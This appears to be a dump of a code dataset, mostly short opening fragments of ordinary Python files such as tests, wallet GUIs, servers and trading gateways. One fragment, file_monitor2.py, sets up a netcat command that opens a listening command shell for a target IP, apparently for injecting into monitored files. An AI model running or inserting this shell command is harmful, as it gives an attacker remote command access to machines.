source
stringlengths
3
86
python
stringlengths
75
1.04M
object_pool_pattern_test.py
#!usr/bin/enc python3 # -*- coding: utf-8 -*- """ Application that actually uses Object Pool Pattern. """ __author__ = 'Ziang Lu' import threading from sql_connection import SQLConnection def thread_func(thread_name: str) -> None: """ Opens a SQL connection in a separate thread and operates on it. :pa...
keepkey.py
from binascii import hexlify, unhexlify import traceback import sys from electrum.util import bfh, bh2u, UserCancelled, UserFacingException from electrum.bitcoin import TYPE_ADDRESS, TYPE_SCRIPT from electrum.bip32 import BIP32Node from electrum import constants from electrum.i18n import _ from electrum.transaction im...
processes.py
""" process.py Created by Thomas Mangin on 2011-05-02. Copyright (c) 2009-2017 Exa Networks. All rights reserved. License: 3-clause BSD. (See the COPYRIGHT file) """ import os import errno import time import subprocess import select import fcntl from exabgp.util import str_ascii from exabgp.util import bytes_ascii f...
test_priority.py
# pylint doesn't know about pytest fixtures # pylint: disable=unused-argument import os import threading import time from collections import OrderedDict from contextlib import contextmanager import pytest from click.testing import CliRunner from dagster_celery import celery_executor from dagster_celery.cli import mai...
helper.py
#!/usr/bin/env python # -*- coding: utf-8 -*- import json import threading import asyncio import websockets from aiohttp import web class MockInsServer(): def __init__(self, port): self.loop = asyncio.new_event_loop() self.port = port self.thread = threading.Thread(target=self._run) ...
__init__.py
############################################################################ # # Copyright (c) Mamba Developers. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # ############################################################################ """ Compon...
main.py
""" RenderPipeline Copyright (c) 2014-2016 tobspr <tobias.springer1@gmail.com> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the right...
test_shared_module.py
import logging import queue import threading from typing import Generator from unittest.mock import Mock import pytest import shared import singletons JOIN_TIMEOUT = 2 THREADS = 8 LOG = logging.getLogger(__name__) @pytest.fixture() def _mock_shared() -> Generator: """Mock ``shared`` fixture.""" shared.setup...
patcher_test.py
import os import shutil import sys import tempfile import six import tests base_module_contents = """ import socket import urllib print("base {0} {1}".format(socket, urllib)) """ patching_module_contents = """ from eventlet.green import socket from eventlet.green import urllib from eventlet import patcher print('pa...
main_window.py
import re import os import sys import time import datetime import traceback from decimal import Decimal import threading import asyncio from typing import TYPE_CHECKING, Optional, Union, Callable, Sequence from electrum.storage import WalletStorage, StorageReadWriteError from electrum.wallet_db import WalletDB from el...
1.event_notification.py
import requests, time, threading from datetime import datetime from isapi.Event.notification import HikEventNotification from isapi.Smart.FieldDetection import HikSmartFieldDetection _ENV = {} with open(".env") as f: lines = [line.rstrip() for line in f] for line in lines: key = line.split('=')[0] value = line.sp...
daemon.py
import time, threading def target(): print('start') time.sleep(10) print('end') def run(): print('running') threading.Thread(target=target, daemon=True).start() time.sleep(1) print('ran') run()
__main__.py
import threading import time from flask import Flask, jsonify, request, abort from .i2c import I2CDisplay from .state import State VERSION_INFO = { "name": "Berrymon API 1.0", "version": "1.0" } app = Flask("Berrymon") state = State("config.json") line1 = "" line2 = "" @app.route("/", defaults={"path": ""}...
scaleTest.py
# Copyright 2017-present Open Networking Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or ag...
worker.py
import base64 import logging import os import re import sys import json import time from abc import ABC from datetime import datetime from multiprocessing import Process, Queue from urllib.parse import urlparse import pandas as pd import requests import sqlalchemy as s from github import Github from sqlalchemy import ...
ubrcon.py
# import asyncio # import websockets # async def hello(websocket, path): # name = await websocket.recv() # print(f"<<< {name}") # greeting = f"Hello {name}!" # await websocket.send(greeting) # print(f">>> {greeting}") # async def main(): # async with websockets.serve(hello, "127.0.0.1", 8677...
__init__.py
""" MIT License Copyright (c) 2021 Creepi Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distri...
Signal.py
# EdgeVPNio # Copyright 2020, University of Florida # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merg...
run_nvmf.py
#!/usr/bin/env python3 import os import re import sys import json import paramiko import zipfile import threading import subprocess import itertools import time import uuid import rpc import rpc.client import pandas as pd from collections import OrderedDict from common import * class Server: def __init__(self, n...
proxy_check.py
# -*- coding: utf-8 -*- # @Author: GXR # @CreateTime: 2021-04-01 # @UpdateTime: 2021-12-10 import json import threading import time import redis import requests from loguru import logger import config red = redis.Redis( host=config.REDIS_HOST, port=config.REDIS_PORT, db=config.REDIS_DB, decode_respo...
test_fusion.py
import mock import numpy import six import threading import unittest import cupy from cupy import testing def fusion_default_array_equal(): def deco(func): def wrapper(self_x, name, xp, **dtypes): @cupy.fuse() def f(*args): return getattr(xp, name)(*args) ...
relay_integration.py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
switchMatrixClient.py
#!/usr/bin/python # # Copyright (c) 2014 Michael Ocean # # Licence: The MIT License (MIT) # # ________ ______ __ __ ____ _____ ______ _________ __ # / ____/ / / / _/ / /_ ____ _________ ____/ / / __ \/ ___// ____/ / ____/ (_)__ ____ / /_ # / / __/ / / // / / __ ...
start.py
#!/usr/bin/env python3 from concurrent.futures import ThreadPoolExecutor, as_completed from contextlib import suppress from itertools import cycle from json import load from logging import basicConfig, getLogger, shutdown from math import log2, trunc from multiprocessing import RawValue from os import urandom as randb...
test_profile.py
from __future__ import annotations import dataclasses import sys import threading from collections.abc import Iterator, Sequence from time import sleep import pytest from tlz import first from distributed.compatibility import WINDOWS from distributed.metrics import time from distributed.profile import ( call_sta...
test_connection.py
#!/usr/bin/env python # test_connection.py - unit test for connection attributes # # Copyright (C) 2008-2011 James Henstridge <james@jamesh.id.au> # # psycopg2 is free software: you can redistribute it and/or modify it # under the terms of the GNU Lesser General Public License as published # by the Free Software Foun...
test_simpl_server.py
# Copyright 2015 Rackspace US, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in wri...
alerts_agent.py
#!/usr/bin/env python # coding=utf-8 import os, re, platform, socket, time, json, threading import psutil, schedule, requests from subprocess import Popen, PIPE import logging AGENT_VERSION = "1.0" token = 'xxxxxxxxxxxxx' # token server_ip = '127.0.0.1' # 服务端ip def log(log_name, path=None): logging.basi...
util.py
# # Module providing various facilities to other parts of the package # # multiprocessing/util.py # # Copyright (c) 2006-2008, R Oudkerk # Licensed to PSF under a Contributor Agreement. # # Modifications Copyright (c) 2020 Cloudlab URV # import weakref import redis import uuid import logging import sys import threadin...
evaluate_dist.py
import sys sys.path.append('.') import os import cv2 import tqdm import torch import random import tempfile import argparse import numpy as np import multiprocessing from torch.utils.data import DataLoader from data.aug import ops from data.dataset import UCAS_AOD from data.dataset.ucas_aod import NAMES from model....
host.py
# Copyright 2010 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # Copyright (c) 2010 Citrix Systems, Inc. # Copyright (c) 2011 Piston Cloud Computing, Inc # Copyright (c) 2012 University Of Minho # (c) Copyright 2013 Hewlett-Pa...
tcp.py
# -*- coding: utf-8 -*- ''' TCP transport classes Wire protocol: "len(payload) msgpack({'head': SOMEHEADER, 'body': SOMEBODY})" ''' # Import Python Libs from __future__ import absolute_import, print_function, unicode_literals import errno import logging import os import socket import sys import time import threading...
Dev4Tango.py
#!/usr/bin/env python2.5 """ @if gnuheader ############################################################################# ## ## file : device.py ## ## description : CLASS FOR Enhanced TANGO DEVICE SERVERs ## ## project : Tango Control System ## ## $Author: Sergi Rubio Manrique, srubio@cells.es $ ## ## $Revisio...
engine.py
""" """ import logging from logging import Logger import smtplib import os from abc import ABC from datetime import datetime from email.message import EmailMessage from queue import Empty, Queue from threading import Thread from typing import Any, Sequence, Type, Dict, List, Optional from vnpy.event import Event, Eve...
coap.py
import logging.config import os import random import socket import threading import time from coapthon import defines from coapthon.layers.blocklayer import BlockLayer from coapthon.layers.messagelayer import MessageLayer from coapthon.layers.observelayer import ObserveLayer from coapthon.layers.requestlaye...
file_monitor2.py
import os import tempfile import threading import win32con import win32file FILE_CREATED = 1 FILE_DELETED = 2 FILE_MODIFIED = 3 FILE_RENAMED_FROM = 4 FILE_RENAMED_TO = 5 FILE_LIST_DIRECTORY = 0x0001 NETCAT = 'c:\\users\\felipe\\work\\netcat.exe' TGT_IP = '192.168.1.208' CMD = f'{NETCAT} -t {TGT_IP} -p 9999 -l -c ' ...
tnode.py
import paramiko import threading import sys import os import time import container import tutils import exceptions # Utility function to run ssh def ssh_exec_thread(ssh_object, command): print "run: " + command stdin, stdout, stderr = ssh_object.exec_command(command) out = stdout.readlines() print out ...
futu_gateway.py
""" Please install futu-api before use. """ from copy import copy from datetime import datetime from threading import Thread from time import sleep from futu import ( ModifyOrderOp, TrdSide, TrdEnv, OpenHKTradeContext, OpenQuoteContext, OpenUSTradeContext, OrderBookHandlerBase, OrderSt...
portable_runner.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
tester_nhang.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Fri Apr 6 18:19:28 2018 @author: tensorflow-cuda """ import numpy as np import cv2 import time import requests import threading from threading import Thread, Event, ThreadError class Cam(): def __init__(self, url): self.stream = requests.get(...
handlers.py
from tornado import gen, web, locks import traceback import urllib.parse from notebook.utils import url_path_join from notebook.base.handlers import IPythonHandler import threading import json import os from queue import Queue, Empty import jinja2 from .pull import GitPuller from .version import __version__ class Sy...
minion.py
# -*- coding: utf-8 -*- ''' Routines to set up a minion ''' # Import python libs from __future__ import absolute_import, print_function, with_statement, unicode_literals import functools import os import sys import copy import time import types import signal import random import logging import threading import tracebac...
usingFunction.py
from threading import * def displayNumbers(): i = 0 print(current_thread().getName()) while(i<=10): print(i) i+=1 print(current_thread().getName()) t = Thread(target=displayNumbers) t.start()
plannerm.py
import socket import pygame import time from pygame.locals import * from shapely.geometry import Point from shapely.geometry.polygon import Polygon import pynmea2 import pymap3d import serial import threading HOST = '192.168.5.11' SLAVE = '' OP_PORT = 65432 V2X_PORT = 65431 sock = socket.socket(socket.AF_INET, soc...
conftest.py
# (C) Datadog, Inc. 2020-present # All rights reserved # Licensed under a 3-clause BSD style license (see LICENSE) import threading import time from copy import deepcopy import pytest import win32evtlog from datadog_checks.win32_event_log import Win32EventLogCheck from . import common class EventReporter(object): ...
InterfacesManager.py
import threading from libs import NakLogger from libs import ConfigManager class InterfacesManager: interfaces = [] def __init__(self): NakLogger.debug("Loading InterfaceManager...") interfaceClassName = "" for item in ConfigManager.getConfig("INTERFACE","names").split(','): ...
utils.py
from __future__ import print_function, division, absolute_import import atexit from collections import Iterable, deque from contextlib import contextmanager from datetime import timedelta import functools import json import logging import multiprocessing from numbers import Number import operator import os import re i...
server.py
import urllib.request #check if connected to the internet def connect(host='http://google.com'): try: urllib.request.urlopen(host) #Python 3.x return True except: return False if connect() == False: print('Not connected to the internet!!!') print('Exiting application.....') ...
library_base.py
# -*- coding: utf-8 -*- import os import shutil import distutils.log import subprocess import sys import threading import shutil import distutils.errors from .. import spawn_process def parse_flags(env_param): if env_param in os.environ: flags = os.environ[env_param] else: flags = '' out...
runtests_log_handler.py
# -*- coding: utf-8 -*- ''' :codeauthor: Pedro Algarvio (pedro@algarvio.me) :copyright: Copyright 2016 by the SaltStack Team, see AUTHORS for more details. :license: Apache 2.0, see LICENSE for more details. pytestsalt.salt.log_handlers.pytest_log_handler ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~...
loader.py
import mxnet as mx import numpy as np from mxnet.executor_manager import _split_input_slice from rcnn.utils.timer import Timer import threading import sys import logging from Queue import Queue from rcnn.config import config from rcnn.fio.image import tensor_vstack from rcnn.fio.rpn import get_rpn_testbatch...
speed.py
#!/usr/bin/env python # -*- coding: utf-8 -*- ''' Copyright (c) 2013 Qin Xuye <qin@qinxuye.me> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless...
startup.py
from tkinter import * from time import * from multiprocessing import * class Timer: def time_loop(self, GUI): i=0 start = time() time_out = start + 5 while time() < time_out: if i == 4: self.GUI.lock_screen(master) print(i) ...
appfunction.py
# -*- coding:utf-8 -*- __author__ = 'linxinloningg' # 导入下载器 from core.downloader import Downloader # 导入参数 from core.args import DownloadArgs, DryRunArgs, OptionalArgs # 下载参数 DownloadArgs = DownloadArgs() # 预运行参数 DryRunArgs = DryRunArgs() # 可选参数 版本与帮助 OptionalArgs = OptionalArgs() # 暂不开启多线程下载 # from threading import...
request_connector.py
# Copyright 2021. ThingsBoard # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
IrohaHashCustodian.py
from IrohaUtils import * import logging import hashlib import threading class BlockStorehouse(): """ A class to track the blocks being placed on the chain, to cache the results of querying blocks This will allow for a speed up as we will not need to query the same low height blocks over and over """ ...
rohon_gateway.py
""" """ import sys import json import traceback from datetime import datetime, timedelta from copy import copy,deepcopy from .vnctpmd import MdApi from .vnctptd import TdApi from .ctp_constant import ( THOST_FTDC_OAS_Submitted, THOST_FTDC_OAS_Accepted, THOST_FTDC_OAS_Rejected, THOST_FTDC_OST_NoTradeQue...
player.py
""" The MIT License (MIT) Copyright (c) 2015-present Rapptz Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merg...
android_helper.py
import os import sys import time import codecs import lyrebird import threading import subprocess from pathlib import Path from . import config from lyrebird.log import get_logger """ Android Debug Bridge command helper Basic ADB command for device_service and API """ logger = get_logger() here = os.path.dirname(__...
FaceULandmarks.py
from enum import IntEnum from typing import Tuple import cv2 import numpy as np import numpy.linalg as npla from xlib.math import Affine2DMat, Affine2DUniMat class FaceULandmarks: """ Describes 2D face landmarks in uniform coordinates """ class Type(IntEnum): LANDMARKS_5 = 0 LANDMARK...
microservice.py
import argparse import os import importlib import json import time import logging import multiprocessing as mp import sys import seldon_core.persistence as persistence from distutils.util import strtobool from seldon_core.flask_utils import ANNOTATIONS_FILE import seldon_core.wrapper as seldon_microservice from typing ...
smarthome.py
# -*- coding: utf-8 -*- from auth import * import requests import json import hashlib from itertools import product import trait from collections.abc import Mapping import re import os import sys import time, threading from pip._internal import main as pip from helpers import (configuration, readFile, saveFile, Smart...
cs.py
#!/usr/bin/env python """ Cuckoo search. Usage: cs.py [options] Options: -h, --help Show this message and exit. -n N Number of generations in CS. [default: 20] --print-level LEVEL Print verbose level. [default: 1] """ from __future__ import print_function import os import sys from docop...
eval_segment.py
import argparse import numpy as np import multiprocessing as mp import cv2 import os def run_eval(data_list, pred_root, gt_root, num_cls): def compute_confusion_matrix(names, label_root, pred_root, num_cls, num_threads=16, arr_=None): if num_threads == 1: mat = np.zeros((num_cls, num_cls), np.f...
main.py
"""Real time plotting of Microphone level using kivy """ from kivy.lang import Builder from kivy.app import App from kivy.uix.boxlayout import BoxLayout from kivy.garden.graph import MeshLinePlot from kivy.clock import Clock from threading import Thread import audioop import pyaudio def get_microphone_level(): ""...
test_replication.py
"""TestCases for distributed transactions. """ import os import time import unittest from test_all import db, test_support, have_threads, verbose, \ get_new_environment_path, get_new_database_path #---------------------------------------------------------------------- class DBReplication(unittest.TestCase)...
tools.py
import atexit from ConfigParser import RawConfigParser from mininet.topo import Topo import logging import os import random import re import subprocess import tempfile import threading import time import Pyro4 if hasattr(Pyro4.config, 'SERIALIZERS_ACCEPTED'): # From Pyro 4.25, pickle is not supported by default d...
computer.py
#!/usr/bin/env python3 # Fake computer module for OpenComputers in Python3. # -*- coding: utf-8 -*- # Programmed by CoolCat467 __all__ = ['HZ', 'addUser', 'address', 'beep', 'crash', 'energy', 'freeMemory', 'getArchitecture', 'getBootAddress', 'getDeviceInfo', 'isRobot', 'isRunning', 'math', 'maxEnergy', 'pullSignal'...
registrar_common.py
''' SPDX-License-Identifier: Apache-2.0 Copyright 2017 Massachusetts Institute of Technology. ''' import base64 import ipaddress import threading import sys import signal import os import http.server from http.server import HTTPServer, BaseHTTPRequestHandler from socketserver import ThreadingMixIn from sqlalchemy.exc ...
target_selector.py
# pylint:disable=unused-argument import typing from typing import List, Optional, TYPE_CHECKING import threading import asyncio from tornado.platform.asyncio import AnyThreadEventLoopPolicy import PySide2 from PySide2.QtWidgets import QDialog, QPushButton, QHBoxLayout, QVBoxLayout, QMessageBox, QTableView, \ QAbs...
platform.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Copyright 2018-2019 Accenture Technology # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #...
football_env_test.py
# coding=utf-8 # Copyright 2019 Google LLC # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to ...
server.py
#----------------------------------------------------------- # Threaded, Gevent and Prefork Servers #----------------------------------------------------------- import datetime import errno import logging import os import os.path import platform import random import select import signal import socket import subprocess ...
fastcov.py
#!/usr/bin/env python3 # SPDX-License-Identifier: MIT # Copyright 2018-present, Bryan Gillespie """ Author: Bryan Gillespie https://github.com/RPGillespie6/fastcov A massively parallel gcov wrapper for generating intermediate coverage formats fast The goal of fastcov is to generate code coverage inter...
worker.py
# Copyright (c) 2019 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by app...
CompressingFileHandler.py
import os import re import gzip import lzma import importlib from time import perf_counter from multiprocessing import Process from logging.handlers import RotatingFileHandler class CompressingFileHandler(RotatingFileHandler): def __init__(self, filename, maxBytes=0, backupCount=0, delay=False, compression=None)...
middleware.py
from multiprocessing import Process, Queue import requests import gevent def child_process(queue): while True: print(queue.get()) requests.get('http://requestb.in/15s95oz1') class GunicornSubProcessTestMiddleware(object): def __init__(self): super(GunicornSubProcessTestMiddleware, self...
server.py
import json import os import re import socket import threading import traceback import utils CHUNK_SIZE=1024 HTTP_CODES=(100,101,102,103,200,201,202,203,204,205,206,207,208,226,300,301,302,303,304,305,307,308,400,401,402,403,404,405,406,407,408,409,410,411,412,413,414,415,416,417,418,421,422,423,424,425,426,428,429,...
keep_alive.py
from flask import Flask from threading import Thread app = Flask('') @app.route('/') def main(): return "Simurg is Rising" def run(): app.run(host='0.0.0.0',port=7768) def keep_alive(): server = Thread(target=run) server.start()
dataloader_iter.py
# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
__init__.py
import RPi.GPIO as GPIO import time try: from plasma import legacy as plasma except ImportError: import plasma import atexit from threading import Thread __version__ = '0.0.4' class FanShim(): def __init__(self, pin_fancontrol=18, pin_button=17, button_poll_delay=0.05): """FAN Shim. :par...
common.py
import logging import os import platform import requests import shutil import time import tempfile import traceback import unicodedata from threading import Thread logger = None DEBUG = False def catch_exceptions(func): """Decorator to catch exceptions and print it in DEBUG mode. All threaded functions s...
testserver.py
# #!/usr/bin/env python # -*- coding: utf-8 -*- # # <HTTPretty - HTTP client mock for Python> # Copyright (C) <2011> Gabriel Falcão <gabriel@nacaolivre.org> # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation # files (the "Software"), to deal...
SDN_CustomCLI.py
#!/usr/bin/python """ Documentation: Pending . . . """ # Global Imports from SDN_global import *; # Import STREAM method from SDN_Stream import STREAM; # Custom Class for CLI class CustomCLI(CLI): def __init__(self, *args, **kwargs): self.cliArg = { 'argv' : None, 'cur' : 0, 'test' : 0, 'test_file' ...
common_video.py
# coding=utf-8 # Copyright 2019 The Tensor2Tensor Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable...
ble_connector.py
# Copyright 2021. ThingsBoard # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
GSASIImath.py
# -*- coding: utf-8 -*- #GSASIImath - major mathematics routines ########### SVN repository information ################### # $Date: 2021-01-12 04:57:49 +0900 (火, 12 1月 2021) $ # $Author: toby $ # $Revision: 4761 $ # $URL: https://subversion.xray.aps.anl.gov/pyGSAS/trunk/GSASIImath.py $ # $Id: GSASIImath.py 4761 2021-...
zeromq.py
# -*- coding: utf-8 -*- ''' Zeromq transport classes ''' # Import Python Libs from __future__ import absolute_import import os import sys import copy import errno import signal import hashlib import logging import weakref from random import randint # Import Salt Libs import salt.auth import salt.crypt import salt.uti...
server.py
import datetime import json import Queue import re import redis import socket import threading import time UDP_IP = "0.0.0.0" UDP_PORT = 8225 class StatsReceiver(object): TEMPERATURE_RE = re.compile(r"^.*-t\d$") POWER_READING_RE = re.compile(r"^E\d+") PIR_RE = re.compile(r"^.*pir$") SWITCH_RE = re.co...
main.py
import argparse import queue import threading import signal from pathlib import Path import cv2 import depthai import numpy as np from imutils.video import FPS from math import cos, sin parser = argparse.ArgumentParser() parser.add_argument('-nd', '--no-debug', action="store_true", help="Prevent debug output") parse...
network.py
# Electrum - Lightweight Bitcoin Client # Copyright (c) 2011-2016 Thomas Voegtlin # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rig...
main.py
"""Run the crawler.""" # Python imports import logging import threading from sys import exit # Local imports import crawler.api as api import crawler.treewalk as treewalk import crawler.services.environment as environment import crawler.treewalk.manager as manager import crawler.treewalk.scheduler as scheduler impo...
statuscode.py
#!/usr/bin/env python # Coding: utf-8 # Made By Md. Faizal ''' ===================================================================== This tool purpose for check http status code. Advance Option created By Md. Faizal ===================================================================== ''' __author__ = "Md. Faizal" _...
idf_monitor.py
#!/usr/bin/env python # # esp-idf serial output monitor tool. Does some helpful things: # - Looks up hex addresses in ELF file with addr2line # - Reset ESP32 via serial RTS line (Ctrl-T Ctrl-R) # - Run "make flash" (Ctrl-T Ctrl-F) # - Run "make app-flash" (Ctrl-T Ctrl-A) # - If gdbstub output is detected, gdb is automa...
53_po_history_lines.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import csv from xmlrpc import client as xmlrpclib import multiprocessing as mp from scriptconfig import URL, DB, UID, PSW, WORKERS # ==================================== PURCHASE ORDER LINE ==================================== def update_purchase_order_line(pid, data_p...
EDL.py
import demistomock as demisto from CommonServerPython import * from CommonServerUserPython import * import re from base64 import b64decode from multiprocessing import Process from gevent.pywsgi import WSGIServer from tempfile import NamedTemporaryFile from flask import Flask, Response, request from netaddr import IPAd...
port_scanner.py
import socket import time from threading import Thread THREADS_COUNT = 1000 START_PORT = 0 END_PORT = 65535 HOST = 'localhost' class PortsHolder: active = True def __init__(self, start, end): self._port = start self.start = start self.end = end self.get_port = self.get_port()...
test_vrf.py
import sys import time import threading import Queue import yaml import json import random import re import logging from collections import OrderedDict from natsort import natsorted from netaddr import IPNetwork from functools import partial import pytest from ptf_runner import ptf_runner from common.utilities impor...
tcp.py
""" TCP transport classes Wire protocol: "len(payload) msgpack({'head': SOMEHEADER, 'body': SOMEBODY})" """ import errno import logging import os import queue import socket import threading import urllib import salt.ext.tornado import salt.ext.tornado.concurrent import salt.ext.tornado.gen import salt.ext.tornado...
test_shell.py
# -*- coding: utf-8 -*- """Test the shell. """ import os import time from contextlib import redirect_stdout from io import StringIO from subprocess import Popen, PIPE from threading import Thread, Event, Lock from pyvisa import constants, errors from pyvisa.resources import Resource from pyvisa.shell import VisaShell...